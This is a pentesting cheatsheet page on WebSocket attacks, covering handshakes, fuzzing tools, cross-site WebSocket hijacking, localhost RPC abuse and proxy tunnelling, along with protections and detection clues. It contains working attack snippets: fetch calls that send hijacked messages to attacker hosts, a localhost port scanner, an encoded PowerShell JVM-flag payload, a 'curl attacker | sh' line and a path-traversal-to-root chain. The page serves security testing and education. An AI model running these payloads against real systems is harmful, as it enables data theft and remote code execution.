daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

websocket-attacks.md (31490B)


      1 ---
      2 title: "WebSocket Attacks"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/websocket-attacks.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/websocket-attacks.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # WebSocket Attacks
     14 
     15 ## What are WebSockets
     16 
     17 WebSocket connections are established through an initial **HTTP** handshake and are designed to be **long-lived**, allowing for bidirectional messaging at any time without the need for a transactional system. This makes WebSockets particularly advantageous for applications requiring **low latency or server-initiated communication**, such as live financial data streams.
     18 
     19 ### Establishment of WebSocket Connections
     20 
     21 A detailed explanation on establishing WebSocket connections can be accessed [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below:<sup>[[20]](#references)</sup>
     22 
     23 ```javascript
     24 var ws = new WebSocket("wss://normal-website.com/ws")
     25 ```
     26 
     27 The `wss` protocol signifies a WebSocket connection secured with **TLS**, whereas `ws` indicates an **unsecured** connection.
     28 
     29 During the connection establishment, a handshake is performed between the browser and server over HTTP. The handshake process involves the browser sending a request and the server responding, as illustrated in the following examples:
     30 
     31 Browser sends a handshake request:
     32 
     33 ```javascript
     34 GET /chat HTTP/1.1
     35 Host: normal-website.com
     36 Sec-WebSocket-Version: 13
     37 Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
     38 Connection: keep-alive, Upgrade
     39 Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
     40 Upgrade: websocket
     41 ```
     42 
     43 Server's handshake response:
     44 
     45 ```javascript
     46 HTTP/1.1 101 Switching Protocols
     47 Connection: Upgrade
     48 Upgrade: websocket
     49 Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
     50 ```
     51 
     52 The connection remains open for message exchange in both directions once established.
     53 
     54 **Key Points of the WebSocket Handshake:**
     55 
     56 - The `Connection` and `Upgrade` headers signal the initiation of a WebSocket handshake.
     57 - The `Sec-WebSocket-Version` header indicates the desired WebSocket protocol version, usually `13`.
     58 - A Base64-encoded random value is sent in the `Sec-WebSocket-Key` header, ensuring each handshake is unique, which helps to prevent issues with caching proxies. This value is not for authentication but to confirm that the response is not generated by a misconfigured server or cache.
     59 - The `Sec-WebSocket-Accept` header in the server's response is a hash of the `Sec-WebSocket-Key`, verifying the server's intention to open a WebSocket connection.
     60 
     61 These features ensure the handshake process is secure and reliable, paving the way for efficient real-time communication.
     62 
     63 ### Linux console
     64 
     65 You can use `websocat` to establish a raw connection with a websocket.
     66 
     67 ```bash
     68 websocat --insecure wss://10.10.10.10:8000 -v
     69 ```
     70 
     71 Or to create a websocat server:
     72 
     73 ```bash
     74 websocat -s 0.0.0.0:8000 #Listen in port 8000
     75 ```
     76 
     77 ### MitM websocket connections
     78 
     79 If you find that clients are connected to a **HTTP websocket** from your current local network you could try an [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing)to perform a MitM attack between the client and the server.\
     80 Once the client is trying to connect to you can then use:
     81 
     82 ```bash
     83 websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
     84 ```
     85 
     86 ### Websockets enumeration
     87 
     88 You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **to discover, fingerprint and search for known** **vulnerabilities** in websockets automatically.
     89 
     90 ### Websocket Debug tools
     91 
     92 - **Burp Suite** supports MitM websockets communication in a very similar way it does it for regular HTTP communication.<sup>[[1]](#references)</sup>
     93   - The [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite extension** will allow you to manage better Websocket communications in Burp by getting the **history**, setting **interception rules**, using **match and replace** rules, using **Intruder** and **AutoRepeater.**
     94 - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Short for "**WebSocket/Socket.io Proxy**", this tool, written in Node.js, provides a user interface to **capture, intercept, send custom** messages and view all WebSocket and Socket.IO communications between the client and server.
     95 - [**wsrepl**](https://github.com/doyensec/wsrepl) is an **interactive websocket REPL** designed specifically for penetration testing. It provides an interface for observing **incoming websocket messages and sending new ones**, with an easy-to-use framework for **automating** this communication.
     96 - [**https://websocketking.com/**](https://websocketking.com/) it's a **web to communicate** with other webs using **websockets**.
     97 - [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) among other types of communications/protocols, it provides a **web to communicate** with other webs using **websockets.**
     98 
     99 ## WebSocket as a transport for messaging/queue protocols (MQTT, STOMP, AMQP)
    100 
    101 A WebSocket is just a **bidirectional transport** — it doesn't say anything about the protocol spoken on top of it. Many real-time applications (chat widgets, live support, IoT dashboards, trading frontends, notification systems) **tunnel a message-broker / pub‑sub protocol over the WebSocket** instead of inventing their own framing. When you find a WebSocket, do not assume it is a bespoke JSON API: it may be a direct pipe into a **message queue / broker**, which means topic subscription, wildcard abuse and broken authorization become in scope.
    102 
    103 Common protocols carried over WebSockets:
    104 
    105 - **MQTT over WebSocket**: browser chat/IoT clients (e.g. `mqtt.js`, Paho) connect to a broker over `ws://`/`wss://`, frequently on paths like `/mqtt` or `/ws`. RabbitMQ's Web MQTT plugin commonly listens on `15675/ws`.<sup>[[15]](#references)</sup> Once you can speak MQTT, you can often **subscribe to wildcard topics (`#`, `+`)** and read other users' live messages, or publish into topics — a classic broken-authorization finding.<sup>[[14]](#references)</sup>
    106 - **STOMP over WebSocket**: very common with SockJS/Spring backends (e.g. `/stomp`, `/ws`). RabbitMQ Web-STOMP usually listens on `15674/ws`.<sup>[[16]](#references)</sup>
    107 - **AMQP over WebSocket** and **Socket.IO** (see the Socket.IO handling section above).
    108 
    109 ### How to identify the tunneled protocol
    110 
    111 - Look at the **`Sec-WebSocket-Protocol`** subprotocol negotiated in the handshake (e.g. `mqtt`, `mqttv3.1`, `v12.stomp`).
    112 - Inspect the connection **URL/path** (`/mqtt`, `/ws`, `/stomp`) and non-standard ports (`15675`, `15674`).
    113 - Inspect the **frames**: MQTT has a tiny binary header (CONNECT/SUBSCRIBE/PUBLISH), STOMP is text (`CONNECT\n`, `SUBSCRIBE\n`, `SEND\n`).
    114 - Do **frontend recon** for broker URLs and embedded credentials (often hardcoded fallback/default creds), as described in the MQTT page.
    115 
    116 If the endpoint turns out to be an MQTT broker, jump to the MQTT page (see the "MQTT over WebSocket in web applications" section there) to enumerate topics, abuse wildcard subscriptions and reach the broker with a `mqtt`/`websocket` PoC client:
    117 
    118 [1883 Pentesting Mqtt Mosquitto](/hacktricks/network-services-pentesting/1883-pentesting-mqtt-mosquitto)
    119 
    120 For AMQP brokers (RabbitMQ, etc.):
    121 
    122 [5671 5672 Pentesting Amqp](/hacktricks/network-services-pentesting/5671-5672-pentesting-amqp)
    123 
    124 ## Decrypting Websocket
    125 
    126 - [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
    127 - [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
    128 
    129 ## Websocket Lab
    130 
    131 In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) you have a code to launch a web using websockets and in [**this post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) you can find an explanation.<sup>[[22]](#references)</sup>
    132 
    133 ## Websocket Fuzzing
    134 
    135 The Burp extension [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) can also fuzz WebSocket messages. The implementation is described [here](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).<sup>[[21]](#references)</sup>
    136 
    137 ### WebSocket Turbo Intruder (Burp extension)
    138 
    139 PortSwigger's WebSocket Turbo Intruder brings Turbo Intruder–style Python scripting and high‑rate fuzzing to WebSockets.<sup>[[4]](#references)[[7]](#references)</sup> Install it from the BApp Store or from source.<sup>[[5]](#references)[[6]](#references)</sup> It includes two components:
    140 
    141 - Turbo Intruder: high‑volume messaging to a single WS endpoint using custom engines.
    142 - HTTP Middleware: exposes a local HTTP endpoint that forwards bodies as WS messages over a persistent connection, so any HTTP‑based scanner can probe WS backends.
    143 
    144 Basic script pattern to fuzz a WS endpoint and filter relevant responses:
    145 
    146 ```python
    147 def queue_websockets(upgrade_request, message):
    148     connection = websocket_connection.create(upgrade_request)
    149     for i in range(10):
    150         connection.queue(message, str(i))
    151 
    152 def handle_outgoing_message(websocket_message):
    153     results_table.add(websocket_message)
    154 
    155 @MatchRegex(r'{\"user\":\"Hal Pline\"')
    156 def handle_incoming_message(websocket_message):
    157     results_table.add(websocket_message)
    158 ```
    159 
    160 Use decorators like `@MatchRegex(...)` to reduce noise when a single message triggers multiple responses.
    161 
    162 ### Bridge WS behind HTTP (HTTP Middleware)
    163 
    164 Wrap a persistent WS connection and forward HTTP bodies as WS messages for automated testing with HTTP scanners:<sup>[[4]](#references)</sup>
    165 
    166 ```python
    167 def create_connection(upgrade_request):
    168     connection = websocket_connection.create(upgrade_request)
    169     return connection
    170 
    171 @MatchRegex(r'{\"user\":\"You\"')
    172 def handle_incoming_message(websocket_message):
    173     results_table.add(websocket_message)
    174 ```
    175 
    176 Then send HTTP locally; the body is forwarded as the WS message:
    177 
    178 ```http
    179 POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
    180 Host: 127.0.0.1:9000
    181 Content-Length: 16
    182 
    183 {"message":"hi"}
    184 ```
    185 
    186 This lets you drive WS backends while filtering for “interesting” events (e.g., SQLi errors, auth bypass, command injection behavior).
    187 
    188 ### Socket.IO handling (handshake, heartbeats, events)
    189 
    190 Socket.IO adds its own framing on top of WS. Detect it via the mandatory query parameter `EIO` (e.g., `EIO=4`). Keep the session alive with Ping (`2`) and Pong (`3`) and start the conversation with `"40"`, then emit events like `42["message","hello"]`.<sup>[[4]](#references)</sup>
    191 
    192 Intruder example:
    193 
    194 ```python
    195 import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
    196 
    197 def queue_websockets(upgrade_request, message):
    198     connection = websocket_connection.create(
    199         upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
    200     connection.queue('40')
    201     connection.queue('42["message","hello"]')
    202 
    203 @Pong("3")
    204 def handle_outgoing_message(websocket_message):
    205     results_table.add(websocket_message)
    206 
    207 @PingPong("2", "3")
    208 def handle_incoming_message(websocket_message):
    209     results_table.add(websocket_message)
    210 ```
    211 
    212 HTTP adapter variant:
    213 
    214 ```python
    215 import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
    216 
    217 def create_connection(upgrade_request):
    218     connection = websocket_connection.create(
    219         upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
    220     connection.queue('40')
    221     connection.decIn()
    222     return connection
    223 
    224 @Pong("3")
    225 def handle_outgoing_message(websocket_message):
    226     results_table.add(websocket_message)
    227 
    228 @PingPong("2", "3")
    229 def handle_incoming_message(websocket_message):
    230     results_table.add(websocket_message)
    231 ```
    232 
    233 ### Detecting server‑side prototype pollution via Socket.IO
    234 
    235 Following PortSwigger’s safe detection technique, try polluting Express internals by sending a payload like:
    236 
    237 ```json
    238 {"__proto__":{"initialPacket":"Polluted"}}
    239 ```
    240 
    241 If greetings or behavior change (e.g., echo includes "Polluted"), you likely polluted server-side prototypes. Impact depends on reachable sinks; correlate with the gadgets in the Node.js prototype pollution section.<sup>[[4]](#references)[[8]](#references)</sup> See:
    242 
    243 - Check [NodeJS – __proto__ & prototype Pollution](/hacktricks/pentesting-web/deserialization/nodejs-proto-prototype-pollution/overview) for sinks/gadgets and chaining ideas.
    244 
    245 ### WebSocket race conditions with Turbo Intruder
    246 
    247 The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (double‑spend, token reuse, state desync). Start from the example script and tune concurrency in `config()`.<sup>[[4]](#references)[[9]](#references)[[10]](#references)</sup>
    248 
    249 - Learn methodology and alternatives in [Race Condition](/hacktricks/pentesting-web/race-condition) (see “RC in WebSockets”).
    250 
    251 ### WebSocket DoS: malformed frame “Ping of Death”
    252 
    253 Craft WS frames whose header declares a huge payload length but send no body. Some WS servers trust the length and pre‑allocate buffers; setting it near `Integer.MAX_VALUE` can cause Out‑Of‑Memory and a remote unauth DoS. See the example script.<sup>[[4]](#references)[[11]](#references)</sup>
    254 
    255 ### CLI and debugging
    256 
    257 - Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`<sup>[[4]](#references)</sup>
    258 - Enable the WS Logger to capture and correlate messages using internal IDs.
    259 - Use `inc*`/`dec*` helpers on `Connection` to tweak message ID handling in complex adapters.
    260 - Decorators like `@PingPong`/`@Pong` and helpers like `isInteresting()` reduce noise and keep sessions alive.
    261 
    262 ### Operational safety
    263 
    264 High‑rate WS fuzzing can open many connections and send thousands of messages per second. Malformed frames and high rates may cause real DoS. Use only where permitted.<sup>[[4]](#references)</sup>
    265 
    266 ## Cross-site WebSocket hijacking (CSWSH)
    267 
    268 **Cross-site WebSocket hijacking**, also known as **cross-origin WebSocket hijacking**, is identified as a specific case of **[Cross-Site Request Forgery (CSRF)](/hacktricks/pentesting-web/csrf-cross-site-request-forgery)** affecting WebSocket handshakes. This vulnerability arises when WebSocket handshakes authenticate solely via **HTTP cookies** without **CSRF tokens** or similar security measures.
    269 
    270 Attackers can exploit this by hosting a **malicious web page** that initiates a cross-site WebSocket connection to a vulnerable application. Consequently, this connection is treated as part of the victim's session with the application, exploiting the lack of CSRF protection in the session handling mechanism.
    271 
    272 In order for this attack to work, these are the requirements:
    273 
    274 - The websocket **authentication must be cookie based**
    275 - The cookie must be accessible from the attackers server (this usually means **`SameSite=None`**) and no **Firefox Total Cookie Protection** enabled in Firefox and no **blocked third-party cookies** in Chrome.
    276 - The WebSocket server must not check the connection's origin, or that check must be bypassable.
    277 
    278 Also:
    279 
    280 - If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))<sup>[[2]](#references)</sup>
    281 
    282 ### Origin check disabled in Gorilla WebSocket (CheckOrigin always true)
    283 
    284 In Gorilla WebSocket servers, setting `CheckOrigin` to always **return `true`** accepts handshakes from any `Origin`. When the WS endpoint also **lacks authentication**, any page reachable by the victim’s browser (Internet or intranet) can upgrade a socket and start reading/emitting messages cross-site.<sup>[[13]](#references)</sup>
    285 
    286 ```html
    287 <script>
    288 const ws = new WebSocket("ws://victim-host:8025/api/v1/websocket");
    289 ws.onmessage = (ev) => fetch("https://attacker.tld/steal?d=" + encodeURIComponent(ev.data), {mode: "no-cors"});
    290 </script>
    291 ```
    292 
    293 Impact: real-time exfiltration of streamed data (e.g., captured emails/notifications) without user credentials when any `Origin` is accepted and the endpoint skips authentication.
    294 
    295 ### Simple Attack
    296 
    297 Note that when **establishing** a **websocket** connection the **cookie** is **sent** to the server. The **server** might be using it to **relate** each **specific** **user** with his **websocket** **session based on the sent cookie**.
    298 
    299 Then, if for **example** the **websocket** **server** **sends back the history of the conversation** of a user if a msg with "**READY"** is sent, then a **simple XSS** establishing the connection (the **cookie** will be **sent** **automatically** to authorise the victim user) **sending** "**READY**" will be able to **retrieve** the history of the **conversation**.:
    300 
    301 ```html
    302 <script>
    303 websocket = new WebSocket('wss://your-websocket-URL')
    304 websocket.onopen = start
    305 websocket.onmessage = handleReply
    306 function start(event) {
    307   websocket.send("READY"); // Send the message that requests confidential information
    308 }
    309 function handleReply(event) {
    310   //Exfiltrate the confidential information to attackers server
    311   fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
    312 }
    313 </script>
    314 ```
    315 
    316 ### Cross Origin + Cookie with a different subdomain
    317 
    318 In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) the attacker managed to **execute arbitrary Javascript in a subdomain** of the domain where the web socket communication was occurring. Because it was a **subdomain**, the **cookie** was being **sent**, and because the **Websocket didn't check the Origin properly**, it was possible to communicate with it and **steal tokens from it**.<sup>[[3]](#references)</sup>
    319 
    320 ### Stealing data from user
    321 
    322 Copy the web application you want to impersonate (the .html files for example) and inside the script where the websocket communication is occurring add this code:
    323 
    324 ```javascript
    325 //This is the script tag to load the websocket hooker
    326 ;<script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/wsHook.js"></script>
    327 
    328 // These functions execute before a message
    329 //is sent by the client or received from the server
    330 //These code must be between some <script> tags or inside a .js file
    331 wsHook.before = function (data, url) {
    332   var xhttp = new XMLHttpRequest()
    333   xhttp.open("GET", "client_msg?m=" + data, true)
    334   xhttp.send()
    335 }
    336 wsHook.after = function (messageEvent, url, wsObject) {
    337   var xhttp = new XMLHttpRequest()
    338   xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
    339   xhttp.send()
    340   return messageEvent
    341 }
    342 ```
    343 
    344 Now download the `wsHook.js` file from [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) and **save it inside the folder with the web files**.\
    345 Exposing the web application and making a user connect to it you will be able to steal the sent and received messages via websocket:
    346 
    347 ```javascript
    348 sudo python3 -m http.server 80
    349 ```
    350 
    351 ### CSWSH Protections
    352 
    353 The CSWSH attack is based on the fact that an **user will connect to a malicious page** that will **open a websocket connection** to a web page where the user is already connected and will authenticate as him as the request will send the user's cookies.
    354 
    355 Nowadays, it's very easy to prevent this issue:
    356 
    357 - **WebSocket server origin validation**: The WebSocket server should validate the connection's `Origin` header so unexpected pages cannot connect.
    358 - **Authentication token**: Instead of relying on a cookie, the WebSocket connection can require an unpredictable per-user token, similar to an anti-CSRF token.
    359 - **SameSite cookie attribute**: Cookies marked `SameSite=Lax` or `Strict` are generally not sent from an attacker's cross-site page to the victim WebSocket endpoint, so cookie-based authentication fails. Browsers also apply **Lax by default** when `SameSite` is omitted. Chromium's “Lax-allowing-unsafe” compatibility behavior can include a cookie created no more than two minutes earlier, but only for qualifying top-level unsafe navigations; it does not normally make a cross-site WebSocket handshake eligible. Verify the target browser's current behavior.<sup>[[23]](#references)</sup>
    360 - **Firefox Total Cookie Protection**: Total Cookie Protection isolates cookies to the site where they were created. Each site has its own cookie-storage partition, preventing third parties from linking a user's browsing history. This can make **CSWSH unusable** because the attacker's site cannot cause the victim's partitioned cookie to be sent.
    361 - **Chrome third-party cookie blocking**: Blocking third-party cookies can also prevent an authenticated cookie from being sent to the WebSocket server, even with `SameSite=None`.
    362 
    363 ### Localhost WebSocket abuse & browser port discovery
    364 
    365 Desktop launchers frequently spin up helpers (e.g., CurseForge's `CurseAgent.exe`) that expose JSON-RPC WebSockets on `127.0.0.1:<random_port>`. The browser **does not enforce SOP on loopback sockets**, so any Web page can attempt the handshake. If the agent accepts arbitrary `Origin` values and skips secondary authentication, the IPC surface becomes remotely controllable directly from JavaScript.<sup>[[12]](#references)</sup>
    366 
    367 #### Enumerating exposed methods
    368 
    369 Capture a legitimate session to learn the protocol contract. CurseForge, for instance, emits frames such as `{"type":"method","name":"minecraftTaskLaunchInstance","args":[{...}]}` where `name` is the RPC method and `args` contains structured objects (GUIDs, resolution, flags, etc.). Once this shape is known you can invoke methods such as `createModpack`, `minecraftGetDefaultLocation`, or any other privileged task straight from an injected page.
    370 
    371 #### Browser-based port discovery
    372 
    373 Because the helper binds to a random high port, the exploit first brute-forces localhost over WebSockets. Chromium-based browsers tolerate ~16k failed upgrades before throttling, which is enough to walk the ephemeral range; Firefox tends to crash or freeze after a few hundred failures, so practical PoCs often target Chromium.
    374 
    375 <details>
    376 <summary>Minimal browser scanner</summary>
    377 
    378 ```javascript
    379 async function findLocalWs(start = 20000, end = 36000) {
    380   for (let port = start; port <= end; port++) {
    381     await new Promise((resolve) => {
    382       const ws = new WebSocket(`ws://127.0.0.1:${port}/`);
    383       let settled = false;
    384       const finish = () => { if (!settled) { settled = true; resolve(); } };
    385       ws.onerror = ws.onclose = finish;
    386       ws.onopen = () => {
    387         console.log(`Found candidate on ${port}`);
    388         ws.close();
    389         finish();
    390       };
    391     });
    392   }
    393 }
    394 ```
    395 
    396 </details>
    397 
    398 Once a connection survives the handshake and returns protocol-specific data, reuse that socket for the RPC chain.
    399 
    400 #### Chaining JSON-RPC methods into RCE
    401 
    402 The CurseForge exploit chains two unauthenticated calls:
    403 
    404 1. `createModpack` → returns a new `MinecraftInstanceGuid` without user interaction.
    405 2. `minecraftTaskLaunchInstance` → launches that GUID while accepting arbitrary JVM flags through `AdditionalJavaArguments`.
    406 
    407 JNI/JVM diagnostic options then provide a turnkey RCE primitive. For example, cap the metaspace to force a crash and leverage the error hook for command execution:
    408 
    409 ```text
    410 -XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand ..."
    411 ```
    412 
    413 On Unix targets simply swap the payload with `/bin/sh -c 'curl https://attacker/p.sh | sh'`. This works even when you cannot touch the application code—controlling the JVM CLI is enough.
    414 
    415 This “create resource → privileged launch” pattern appears often in updaters and launchers. Any time method (1) yields a server-tracked identifier and method (2) executes code or spawns a process with that identifier, check whether user-controlled arguments can be injected.
    416 
    417 
    418 ### Internet-facing WebSocket proxies as localhost TCP tunnels
    419 
    420 Some appliances and web apps expose endpoints such as `/wsproxy?host=<dst>&port=<dst>` that **upgrade to WebSocket and then blindly relay arbitrary TCP bytes** to the user-chosen destination. Once the server returns **`101 Switching Protocols`**, treat the socket as an SSRF primitive with **full read/write interaction**, closer to a `gopher://` or `nc` tunnel than to a one-shot HTTP fetch.<sup>[[17]](#references)[[18]](#references)[[19]](#references)</sup>
    421 
    422 When testing these endpoints, do not stop at `127.0.0.1`. Try multiple loopback representations because filters often block only some of them:
    423 
    424 ```text
    425 localhost
    426 127.0.0.1
    427 0.0.0.0
    428 ::1
    429 ::ffff:127.0.0.1
    430 ```
    431 
    432 Also replay the legitimate client headers/parameters when needed (`User-Agent`, `serviceType=SSH`, `serviceType=TELNET`, etc.). In several real cases those values were only cosmetic gates and **did not restrict the tunneled protocol at all**.
    433 
    434 #### Pivoting from the tunnel into Erlang RCE
    435 
    436 A common next step is tunneling into **localhost-only Erlang distribution** services. If the Erlang cookie is **default, leaked, reused, or hardcoded**, the WebSocket tunnel is enough to complete the node handshake and reach RPC functions such as `os:cmd/1` or `rpc:call(Node, os, cmd, ["id"])`, yielding OS command execution as the Erlang service account without needing the appliance's normal application credentials.
    437 
    438 For the Erlang-side tradecraft, see:
    439 
    440 [4369 Pentesting Erlang Port Mapper Daemon Epmd](/hacktricks/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd)
    441 
    442 #### Chaining tunneled footholds into root via maintenance path traversal
    443 
    444 Once you get a low-priv shell through the tunnel, look for **root-owned maintenance workflows** reachable locally only (rollback, hotfix removal, restore, import, upgrade hooks, etc.). A recurring bug class is:
    445 
    446 1. The service builds a path like `<trusted-base>/<user_input>`.
    447 2. `../` is not canonicalized away or the final path is not verified to stay below the trusted base.
    448 3. The privileged workflow later performs dangerous actions on the attacker-selected path such as `chmod +x`, `/bin/bash <path> --unattended`, or a root-owned restart hook.
    449 
    450 In that situation, use the initial foothold to stage `/tmp/payload.sh` or `/var/tmp/payload.sh`, then supply a traversal like `../../../../../tmp/payload.sh`. This turns an internet-facing WebSocket tunnel into a full **unauthenticated-to-root chain** whenever the same proxy also reaches the localhost maintenance service.
    451 
    452 #### Useful detection clues
    453 
    454 From a defensive perspective, two high-signal artefacts are:
    455 
    456 - access-log entries showing **`101 Switching Protocols`** for WebSocket proxy paths with loopback destinations (`localhost`, `0.0.0.0`, `::ffff:127.0.0.1`)
    457 - maintenance / rollback logs containing **`../` traversal sequences** or execution of scripts from writable paths such as `/tmp` or `/var/tmp`
    458 
    459 
    460 ## Race Conditions
    461 
    462 Race Conditions in WebSockets are also a thing, [check this information to learn more](/hacktricks/pentesting-web/race-condition#rc-in-websockets).
    463 
    464 ## Other vulnerabilities
    465 
    466 As Web Sockets are a mechanism to **send data to server side and client side**, depending on how the server and client handles the information, **Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.**
    467 
    468 ## **WebSocket Smuggling**
    469 
    470 This vulnerability could allow you to **bypass reverse proxies restrictions** by making them believe that a **websocket communication was stablished** (even if it isn't true). This could allow an attacker to **access hidden endpoints**. For more information check the following page:
    471 
    472 
    473 [H2C Smuggling](/hacktricks/pentesting-web/h2c-smuggling)
    474 
    475 ## References
    476 
    477 - [1] [Intercepting and modifying WebSocket messages – PortSwigger Web Security Academy](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
    478 - [2] [Cross-Site WebSocket Hijacking: Exploitation in 2025 – IncludeSecurity Blog](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
    479 - [3] [Gitpod Remote Code Execution Vulnerability via WebSockets – Snyk](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)
    480 - [4] [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
    481 - [5] [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
    482 - [6] [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
    483 - [7] [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
    484 - [8] [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
    485 - [9] [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
    486 - [10] [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
    487 - [11] [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
    488 - [12] [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/)
    489 - [13] [Two CVEs, Zero Ego: A Mailpit Story](https://rosecurify.com/two-cves-zero-ego-a-mailpit-story/)
    490 - [14] [How I Hacked a Live Chatbot and Earned My First $$$$ (4-Digit) Bounty](https://medium.com/@lazysharaf/how-i-hacked-a-live-chatbot-and-earned-my-first-4-digit-bounty-5c43c8891741)
    491 - [15] [RabbitMQ Web MQTT Plugin](https://www.rabbitmq.com/docs/next/web-mqtt)
    492 - [16] [RabbitMQ Web STOMP Plugin](https://www.rabbitmq.com/docs/web-stomp)
    493 - [17] [Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited (CVE-2026-15409, CVE-2026-15410)](https://www.rapid7.com/blog/post/etr-rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/)
    494 - [18] [SonicWall Security Advisory SNWLID-2026-0008](https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008)
    495 - [19] [rapid7-CVE-2026-15409 PoC](https://github.com/remmons-r7/rapid7-CVE-2026-15409)
    496 - [20] [Cross-Site WebSocket Hijacking (CSWSH)](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)
    497 - [21] [Fuzzing WebSockets with Backslash Powered Scanner](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner)
    498 - [22] [security.humanativaspa.it - Extending Burp Suite For Fun And Profit The Montoya Way Part 3](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3)
    499 - [23] [MDN - `Set-Cookie`: default `SameSite=Lax` and the two-minute compatibility window](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie#samesitesamesite-value)